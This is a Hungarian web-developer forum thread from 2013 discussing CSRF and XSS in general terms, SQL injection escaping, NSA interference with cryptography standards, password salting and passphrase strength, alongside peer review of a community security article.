Ezek után egyszerűen egy általad vezérelt lapra csalod az illetőt, és elkezdesz a böngészőjéből https://www.facebook.com/a, https://www.facebook.com/b stb. címre kéréseket küldözgetni.
Ha nincs bekapcsolva a js, akkor elmehetsz a hamis oldalra, de az nem fog kéréseket indítgatni a háttérben. Így ki lehetne védeni az összes XSS meg CSRF támadást, bár hozzá kell tenni, a problémát csak részben oldaná meg, mert ettől függetlenül lennének olyan felhasználók, akik használnak js-t.
55

Ja, igaz.

inf3rno · 2013. Aug. 27. (K), 13.21
Ja, igaz, mondjuk ez nem klasszikus xss, pl img src-vel, iframe src-vel is fel lehet deríteni az url-eket... Az űrlap küldést tényleg megoldaná...
56

Simán de, lehet például egy 0

tgr · 2013. Aug. 27. (K), 13.30
Simán de, lehet például egy 0 pixeles gif forrása a letöltendő link, küldözgetheted láthatatlan iframe-ekből meta refresh-sel stb. POST-ot hamisítani valamivel nehezebb javascript nélkül,mert rá kell venni a usert, hogy kattintgasson agyba-főbe, de az sem lehetetlen, és ehhez a támadáshoz amúgy sem kell POST.
57

Kösz, így már értem.

Hidvégi Gábor · 2013. Aug. 27. (K), 14.17
Kösz, így már értem.
77

sql injection Tákoltam a

inf3rno · 2013. Aug. 31. (Szo), 19.29
sql injection

Tákoltam a cikken a kérteknek megfelelően. Nézzétek át, ha van még bármi ötlet, vagy javaslat, akkor írjátok meg a cikk issue-jában, vagy javítsátok ki, és küldjétek el pull request-ben. Még várok pár napot, utána átadom tördelésre.
80

Nagyszerű kezdeményezés, pár

pp · 2013. Aug. 31. (Szo), 21.41
Nagyszerű kezdeményezés, pár javaslat a javításra:

A klasszikus mintát lenne érdemes tolni, a kódolt jelszóval, és felhasználói névvel, mert az életszagúbb, és húsba vágóbb, mint olvasgatni sql tábla adatait.

Ráadásul akkor - mivel egyértelműen látszana - ki is dobhatnád a "Több SQL felhasználó" és a "Multiple statement execution kikapcsolása" című fejezeteket, mert azok sql injection ellen úgy se védenek. (vagyis hamis biztonságérzetet nyújtanak csak csupán)

Az escapelést én nem tartom jó kifejezésnek, mivel a HTML-nél nem escape-elsz, hanem a speciális html karaktereket átalakítod a megfelelő html kóddá. (tehát a > helyett nem azt írod, hogy \>, hanem azt, hogy &lt; vagy &gt;, látszik már elég rég nem írtam le magam. :)) URL-ben meg urlencodeolod, és a mysql-ben sem escapeled, mert sima escapeeléssel (addslashes) nem tudod védeni az UTF8 lyukak segítségével beinjektált kódokat, azok ellen a mysql_real_escape_string védhet. Végül, de nem utolsó sorban, amikor én réges-régen, ID-t adtam át, mivel az egy szám (nem az enyém), sose escapeltem, hanem típuskényszerítettem, vagy kasztoltam(bocs) intté.

Egy jó szót nem tudnék rá mondani, mert mint fent írtam az átalakítás az felhasználási hely (sql, html, url, xml, stb) és adat típus(string, int, float stb.) függő.

Mondjuk lehet elég lenne http://en.wikipedia.org/wiki/SQL_injection ennek a magyar fordítása is.

pp
88

Hatástalan a legtöbb

Hidvégi Gábor · 2013. Szep. 6. (P), 08.21
Hatástalan a legtöbb titkosítási módszer az amerikai kémhálózattal szemben
Annak érdekében, hogy ez minél egyszerűbb legyen számára az NSA manipulálja a nemzetközi titkosítási szabványokat és publikációkat is, biztonságosabbnak ill. nehezebben törhetőnek beállítva egyes kódolásokat, mint amennyire az tényleges indokolt lenne.
89

Lábjegyzet

vbence · 2013. Szep. 6. (P), 10.27
Nem tudom, hogy az én hiányos ismereteim e az oka, de a cikkben (és eredetijében egyaránt) sok hihetetlen állítást látok.

Tekintettel arra, hogy az Interneten vagyunk egykét linkkel kiegészíthették volna a tisztelt szerzők, had ne guglizni kellessen minden második bekezdést. Pl. nagyon kíváncsi lennék, melyik is az a "2007-ben a Microsoft munkatársai által felfedezett kriptográfiai sebezhetőség" - mert rákeresve ennek a cikknek a változatai borítják el a találati listát.

Klassz lenne még, ha valaki hozzá értő amúgy "a lap szélén" egy kis jegyzetet fűzne az egyes bekezdésekhez, mert így a szenzációhajhász stílus eléggé rontja a cikk hitelét (amiben amúgy nem kételkedek).

Szerk:
Ebben a 2007-es keltezésű cikkben sok érdekes infó található ami kis keretet ad a mostaninak (köztük a Windowban használt RNG hibájára, és az NSA által manipulált szabványra, a szándékos backdoor mibenlétére).
Did NSA Put a Secret Backdoor in New Encryption Standard?
90

Ha elolvasod a cikkben

Hidvégi Gábor · 2013. Szep. 6. (P), 10.31
Ha elolvasod a cikkben linkelt NY Times írást, ott sem találsz több információt, a PC fórumos gyakorlatilag annak a fordítása, rövidítése.
91

Igen

vbence · 2013. Szep. 6. (P), 10.48
Ezt írtam is (zárójelben), persze ez nem gátolta volna meg a PC fórumot abban hogy egykét linket azért odabiggyesszen.
94

Standard kulcsok

vbence · 2013. Szep. 7. (Szo), 09.21
gyakran bekérik [a gyártók] eszközeikbe épített standard kulcsok titkos párjait is ...

Ezt úgy értelmezem, hogy a digitálisan aláírt tartalmakra vonatkozik. Ilyenek például:

Hitelesítő tanúsítványok - ez által a HTTPS (és más SSL-t használó protokollok) támadhatók lesznek man-in-the-middle módszerrel, mivel ezen kulcsok birtokában egy saját maguk által kovácsolt tanúsítványt eredetinek tudnak feltüntetni.

Aláírt szoftver - ide tartoznak többek között rendszerfrissítések és a különböző mobil store-okból (Google Play, Apple AppStore) származó programok. Ezek eredetiségét hivatott védeni a digitális aláírás, vagyis hogy közbülső ember ne módosíthassa a szoftvert.
92

Személyes vélemény

MadBence · 2013. Szep. 6. (P), 22.43
Azért elég nagy különbség van aközött, hogy valakinek van egy rakat privát kulcsa, amivel fel sem kell törni a titkosításokat (kvázi csak megkerülik), meg aközött, hogy valaki olyan matematikai eredményeket mutat fel, ami alapjaiban ássa alá a kriptográfiai módszereket. Szerencsére a mostani eset az előbbi (szerintem).
Az NSA-nak, meg a világon semmilyen szervezetnek nincs akkora számítási kapacitása, hogy nyers erővel megérje (a belefektetett idő/pénz kevesebb, mint amennyit az információ birtoklásával nyer) ezeket a titkosításokat feltörni.
93

Többször felmerült

vbence · 2013. Szep. 7. (Szo), 09.17
A Prism előtt is volt diskurzus online megfigyelésről, röppentek fel (hivatalos) számadatok a cégekhez intézett kérések mennyiségéről, és arról, hogy titkosított üzenetek hány százalékát tudják visszafejteni (sajnos nem teláltam linkelhető tartalmat).

Ezzel kapcsolatban nagyjából arra a következtetésre jutottak (tech újságíró körökben), hogy rengeteg termék sebezhető "oldalágon", egy biztonságos algoritmus impelmentálása önmagában nem garancia semmire.

Egy példa: Linuxra létezik egy "encfs" nevű fájl-alapú titkosító. Mivel fájl-szinten dolgozunk rengeteg tippet kapunk az eredeti (titkosítatlan) adatokról (például DOC fájlok első n bájtja nagyon könnyen megjósolható). Ez ellen úgy védekezik az encfs, hogy a kódolt blokkok elejére is (kis mennyiségű) véletlen adatot illeszt. - Ez nem az algoritmus része, csupán egy jó gyakorlat. Egy rosszabb minőségű termék nem feltétlenül tesz meg ilyeneket, és azon is ugyan így rajta van az AES vagy más algoritmus plecsnije, amit a fogyasztó a biztonság szinonímájaként értelmezhet.
95

És miért ne értelmezne

tgr · 2013. Szep. 7. (Szo), 10.47
És miért ne értelmezne akként? Az AES ellen nincs ismert known-plaintext támadás.
96

Valóba nincs

vbence · 2013. Szep. 7. (Szo), 16.24
Hipotetikus biztonsági termék: A kulcs (ami legyen mondjuk 256 bites) egy felhasználó által begépet "jelszóból" van képezve. Ha ezt a lépést az adott program nem elég gondosan hajtja végre, símán előállítható egy lista a legnépszerűbb n darab jelszóból származtatott kulccsal.

Ezután ezen kulcsokkal elkódoljuk egy DOC egy PSD (stb) fájl első 256 bitjét. Ebből előáll egy lista, egy szótár (indexelve, adatbázisban tárolva), amivel csak össze kell vetnünk a titkosított fájlok első 256 bitjét és nagy eséllyel megvan a kulcs / jelszó.

A példánál maradva az encfs sózza a jelszót mielőtt a kulcsot előállítaná, ami egy esszenciális lépés. De pusztán az AES vagy Twofish használata ezt nem garantálja, vagyis hogy a szoftvertermék többi része is annyira biztonságos, mint maga a felhasznált algoritmus.

Ez egy egyszerű példa volt, de remélem a demonstrálja, mire gondolok.
98

Nem igazán. Mit jelent az,

tgr · 2013. Szep. 7. (Szo), 23.56
Nem igazán. Mit jelent az, hogy sózza a jelszót? Hozzáfűz valamit, amit letárol plaintextben? Miben nehezíti az a támadó dolgát?
99

vbence · 2013. Szep. 8. (V), 09.47
A jelszó + valami miatt nem lehet szótárat létrehozni, mert a valami változik gépről gépre. Máskülönben működne a felvázolt támadás.
100

Mármint hogy nem lehet

tgr · 2013. Szep. 8. (V), 11.43
Mármint hogy nem lehet precomputation attack-ot csinálni; amikor birtokodban van a gép (és ezzel a só), lazán kipróbálhatod a leggyakoribb jelszavakat. Úgyhogy ezzel egy nagyon gyenge gyakorlatot egy gyenge gyakorlatra cserélsz, miközben a helyes megoldás egy erős passphrase használata lenne.
101

+1, én is próbálom szoktatni

inf3rno · 2013. Szep. 8. (V), 15.08
+1, én is próbálom szoktatni a felhasználókat a 10+ karakteres jelszavakhoz. Nem olyan nehéz ilyet összehozni, mások is csinálták már, pl: "Szezám tárulj!" is 15 karakteres...
102

Ha helyesen írod, akkor meg

Hidvégi Gábor · 2013. Szep. 8. (V), 15.18
Ha helyesen írod, akkor valóban 15 : )
103

Ja, de nem írom helyesen,

inf3rno · 2013. Szep. 8. (V), 15.24
Ja, de nem írom helyesen, csak azért sem :D
104

Mi hiányzik belőle? Egyébként

H.Z. · 2013. Szep. 8. (V), 15.40
Mi hiányzik belőle?
Egyébként ha minden kódolt adathoz (jelszóhoz) másik "sót" használsz, akkor kb. brute force-ra kényszeríted a kódot feltörni próbálót.
105

Vessző

Hidvégi Gábor · 2013. Szep. 8. (V), 16.07
106

És valószínűleg rajta is van

tgr · 2013. Szep. 8. (V), 19.19
És valószínűleg rajta is van minden jelszótörő listán :)

De amúgy egyáltalán nem nehéz erős hosszú jelszót választani (kötelező XKCD link), vannak hozzá mindenféle segédeszközök is.
107

Persze, hogy nem, de nem jó

inf3rno · 2013. Szep. 8. (V), 21.18
Persze, hogy nem, de nem jó kiírni egy olyan példát, hogy Sz3z4mT4rulj! Mert akkor a felhasználóid fele ezt adja meg jelszónak :D Vagy legalább betenni egy szűrőt, hogy ez nem lehet jelszó... Mondjuk az nem lenne hülyeség, ha dictonary attack-ra érzékeny jelszót eleve nem lehetne megadni... Egy ilyenben úgyis max néhány ezer szó, kifejezés van benne, elég gyorsan lehetne szűrni rá.
108

Dictionary attack

solkprog · 2013. Szep. 8. (V), 21.36
Mondjuk az nem lenne hülyeség, ha dictonary attack-ra érzékeny jelszót eleve nem lehetne megadni...


Egyáltalán nem hülyeség, jobb helyeken illik is használni. Próbálj meg pl. facebookra 1234567 jelszóval regisztrálni.
109

Régi szép emlékek:

H.Z. · 2013. Szep. 8. (V), 21.46
Régi szép emlékek: OpenVMS-nek (sőt, már az Open nélkülinek is, ami nem mostanság volt) jókora szótára volt angol szavakból, amiket nem fogadott el jelszóként. Sajnos magyar szótárt nem tartalmazott... :)
110

Néhány ezer? Csak egy-két

H.Z. · 2013. Szep. 8. (V), 21.47
Néhány ezer? Csak egy-két nagyságrendet tévedtél, attól tartok. ;)
111

Egy átlag ember szókincse egy

inf3rno · 2013. Szep. 9. (H), 00.31
Egy átlag ember szókincse egy adott nyelven 2-3 ezer szó, ehhez még hozzájöhet talán párszáz kifejezés. Angolból indultam ki. Mondjuk ha a világ összes nyelvét nézzük, akkor tényleg sokat... ;-)
112

Igaz, de számold hozzá, hogy

H.Z. · 2013. Szep. 9. (H), 10.36
Igaz, de számold hozzá, hogy ezekhez a szótárakhoz
- több nyelvet felhasználhatnak
- kisbetű-nagybetű, "kocka módra" számokk41 és egyéb sp€ciális karakterekkel lecserélt betűk
- egyéb variációk
Azért ez elég rendesen feltornázza egy-egy ilyen szótár méretét.
Már feltéve, hogy szivárványtáblákról beszélünk. Az elkerülésükhöz természetesen valamivel kisebb is elég, hiszen a kis-/nagybetű variációkkal nem kell foglalkozni.
113

Egy 5-7 éves gyerek

Endyl · 2013. Szep. 9. (H), 10.58
Egy 5-7 éves gyerek szókincsének jó lesz az a két-, háromezer szó :) A felnőtteké műveltségtől függően inkább olyan hét- és ötvenezer között lehet. Persze erre sem sokkal problémásabb szűrni, ha megvan a megfelelő "szótár".
114

Tipikusan 4-6 véletlen szót

tgr · 2013. Szep. 9. (H), 11.06
Tipikusan 4-6 véletlen szót szoktak használni passphrase-nek, ami olyan trilliós-kvatrilliárdos nagyságrendet jelent (60-90 bit). A törhetőség határa ha jól tudom valahol ötvenpár bitnél van egy komoly erőforrásokkal rendelkező támadó esetén, szóval ezek a sémák pillanatnyilag biztonságosak (szemben a "választunk egy szót és kicseréljük a magánhangzókat számra" típusúakkal - lásd XKCD comic).
115

Ezzel egyetértek, és

Endyl · 2013. Szep. 9. (H), 12.36
Ezzel egyetértek, és szerintem nem is vitattam.
116

Megjegyezném...

vbence · 2013. Szep. 10. (K), 08.41
Fontos lenne elválasztani a titkosítási kulcs alapjául szolgáló jelszót egy webes szituációban használttól. A correct horse ... módszert a webre ajánlják.

44bit bonyolultságú passphrase esetén például nem várhatjuk el egy 256bites algoritmusnak tulajdonított biztonságot.
117

256 bites passphrase-t közel

tgr · 2013. Szep. 11. (Sze), 11.44
256 bites passphrase-t közel lehetetlen megjegyezni (és valószínűleg roppant kényelmetlen rendszeresen begépelni). Hardverkulccsal lehet megvalósítani, annak a biztonsága meg egy külön téma. Mindenesetre egy jól felszerelt támadó képességei valahol a 2^60 művelet körül mozoghatnak (ezt egy 100.000 gyors PC-ből álló botnettel úgy egy év lenne kivitelezni), egy hatszavas diceware passphrase feltörése meg ~2^85 művelet, szóval offline is eléggé biztonságos módszerek ezek.
97

https://en.wikipedia.org/wiki

inf3rno · 2013. Szep. 7. (Szo), 19.56
https://en.wikipedia.org/wiki/Secure_Sockets_Layer#Applications_and_adoption
Annyira nem meglepő a táblázat alapján a hír, bár nem tudom, hogy mikor frissítették...
118

Adalék

vbence · 2013. Szep. 12. (Cs), 11.18
Értekezés arról, hogy valószínűleg a véletlenszám-generátorban kimerült az NSA aknamunkája, és hogy nem kell feltétlenül titkosszolgálati módszerekre gondolni, mivel mind az NSA mind a NIST kormányzati szerv és megszokott, hogy szorosan együtt dolgoznak. Valamint egy kis kitekintés a jövőre.

How far did the NSA go to weaken cryptography standards?
119

Töröltem az SQL injektálós

inf3rno · 2013. Nov. 6. (Sze), 02.03
Töröltem az SQL injektálós cikket, írtam helyette egy átfogóbb injektálós cikket, itt lehet megtekinteni: cikk.md

A véleményeket ide kérem: issue, vagy küldjétek el pull request formájában, ha bele szeretnétek írni.

A HTML-be tördelésre most nincs sok időm, legkésőbb szombatig írok egy md->html konvertert, addig véleményezzétek, utána konvertálom, és elküldöm Ádámnak.
120

Én megtettem :)

Pepita · 2013. Nov. 7. (Cs), 23.06
Előre szólok, hogy ott csak a javítandókat soroltam fel (kíméletlenül), összességében nagyon jónak tartom. Sok órád rámehetett, átnézni sem kevés volt.
Saját véleményeim, nem kötelező természetesen megfogadnod, és néhány helyesírási, amit kiszúrtam.

Ha ez a cikk jó formában kijön, szerintem 1-2 hét alatt erre lesz a legtöbb belső link. :)

Lehet, hogy jó lenne elejére valami tartalomjegyzék, hogy a konkrét módokat is könnyű legyen linkelni. Erre mindenképp nagyon hasznos lesz, mert ha a célközönség egyszer el is olvassa, utána elfelejti. Hú, nagy segítség lesz linkelgetni csak!...

Örülök, hogy még idejében meg tudtam nézni, remélem segít egy kicsit. Már most köszönöm a közösség nevében is, szerintem mindenki örülni fog neki, akiknek nem mond újat, azok is.
121

Kösz a segítséget, amúgy is

inf3rno · 2013. Nov. 8. (P), 01.32
Kösz a segítséget, amúgy is illik még egyszer átolvasni az ilyesmit, csak hát utálom visszaolvasni, amit írtam (nem tudom más hogy van vele). A HTML-re generáláskor akartam belerakni anchor-okat, és egy belső tartalomjegyzéket, hogyha valaki csak egy-egy sebezhetőséget akar megnézni, akkor ne kelljen végiggörgetnie. Olyan sok órám nincs benne, kb másfél nap utánaolvasással. A téma amúgy is érdekelt, különben nem cikkeznék róla. Nem kell akkora erőfeszítés hozzá, hogy valaki kigyúrja magát biztonsági kérdésekben, egyszerűen csak az akarat kell hozzá.
122

Szívesen, ha segített

Pepita · 2013. Nov. 9. (Szo), 01.08
kb másfél nap utánaolvasással.
Na igen, egy jó cikk megírásához kb ennyi kell. Ha ez nem sok, akkor hajrá, gyártani a cikkeket! :)

Azért a "biztonsági gyúrás" nem 2 nap, ahhoz kellenek az évek tapasztalatai is nem?

Várom a publikálást, elég jónak és nagyon hasznosnak tűnik! Aztán majd mennek rá a kommentek is idővel, ha új támadási forma jelenik meg, stb.
123

Azért a "biztonsági gyúrás"

inf3rno · 2013. Nov. 9. (Szo), 01.48
Azért a "biztonsági gyúrás" nem 2 nap, ahhoz kellenek az évek tapasztalatai is nem?

Egyéni beállítottság kérdése, ha valakit érdekel a téma, és hajlandó utánajárni, akkor hamar feltud szedni használható tudást. Én sem vagyok közel sem szakértő a témában, de szerintem elég a best practice-ek ismerete ahhoz, hogy megnehezítsük a támadók dolgát, nem kell hackernek vagy biztonsági szakértőnek lenni...